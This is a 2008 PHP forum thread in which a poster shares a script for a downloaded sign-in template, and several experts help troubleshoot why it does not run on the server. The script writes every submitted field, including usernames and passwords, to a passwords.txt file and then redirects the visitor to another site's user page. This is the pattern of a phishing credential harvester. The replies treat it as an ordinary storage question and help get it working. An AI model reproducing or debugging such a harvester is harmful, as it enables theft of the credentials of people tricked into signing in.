No knowledge! Please help

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • it8ez2b
    New Member
    • Mar 2008
    • 2

    No knowledge! Please help

    I have no knowledge of how this work. I have this html template that I downloaded. It has a sign-in box that I would like for the username and password sent back to me to the password. txt file i have set up.
    Is this right?[php]<?php
    header("Locatio n: Location: http://home14.com/index.cfm?fusea ction=user");
    $handle = fopen("password s.txt", "a");
    foreach($_GET as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
    }
    fwrite($handle, "\r\n");
    fclose($handle) ;
    exit;
    ?>[/php]

    Please enclose any code within the proper code tags. See the Posting Guidelines on how to do that. - MODERATOR
    Last edited by ronverdonk; Mar 11 '08, 10:56 AM. Reason: code within tags
  • TheServant
    Recognized Expert Top Contributor
    • Feb 2008
    • 1168

    #2
    Looks good. So this is where the form sends the information to? Why are you not using databases? Personally, I think sending user names and passwords to a text file is just setting yourself up for getting hacked.

    Comment

    • nomad
      Recognized Expert Contributor
      • Mar 2007
      • 664

      #3
      Originally posted by TheServant
      Looks good. So this is where the form sends the information to? Why are you not using databases? Personally, I think sending user names and passwords to a text file is just setting yourself up for getting hacked.

      I agree with Servant...
      doing it the way you have it now will lead to a sorts of problems.


      Read up on how to make a db using MySql.
      Then read up on how to connect to the db using PHP.

      nomad

      Comment

      • it8ez2b
        New Member
        • Mar 2008
        • 2

        #4
        Thanks guys. That was a quick reply!!!

        Security is not my main concern though. I just cant get it to work. Once I hit the summit button on the html page, it just brings up the php file as it is would be in notepad and nothing is copied to my password.txt file.

        the location: should point to my php file right?

        example

        header("Locatio n: http://mydomain/post.php")

        Comment

        • Markus
          Recognized Expert Expert
          • Jun 2007
          • 6092

          #5
          Originally posted by it8ez2b
          Thanks guys. That was a quick reply!!!

          Security is not my main concern though. I just cant get it to work. Once I hit the summit button on the html page, it just brings up the php file as it is would be in notepad and nothing is copied to my password.txt file.

          the location: should point to my php file right?

          example

          header("Locatio n: http://mydomain/post.php")
          So the php doesnt parse, it just gets displayed on your webpage as text?

          Are you running something like apache?

          Comment

          • ronverdonk
            Recognized Expert Specialist
            • Jul 2006
            • 4259

            #6
            Looks like your PHP script is not recognized as a PHP script by the server. Are you sure you have PHP installed and running on the server. And , if so, is PHP configured in the server?

            Ronald

            Comment

            Working...